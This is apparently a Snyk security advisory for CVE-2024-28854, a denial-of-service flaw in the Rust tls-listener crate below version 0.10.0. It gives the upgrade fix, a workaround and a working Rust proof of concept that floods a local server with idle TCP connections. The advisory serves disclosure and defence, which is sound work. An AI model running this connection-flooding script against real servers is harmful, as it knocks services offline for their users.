Resource Exhaustion Affecting tls-listener package, versions <0.10.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.11% (31st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-RUST-TLSLISTENER-6454370
  • published17 Mar 2024
  • disclosed15 Mar 2024
  • creditUnknown

Introduced: 15 Mar 2024

CVE-2024-28854  (opens in a new tab)
CWE-400  (opens in a new tab)

How to fix?

Upgrade tls-listener to version 0.10.0 or higher.

Overview

Affected versions of this package are vulnerable to Resource Exhaustion due to the default configuration options in the TlsListener::new() function. A malicious user can exploit this by opening multiple TcpStreams a second, sending 0 bytes, to trigger a denial of service.

Workaround

This vulnerability can be mitigated by passing a large value, such as usize::MAX, as the parameter to Builder::max_handshakes.

PoC

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

CVSS Base Scores

version 3.1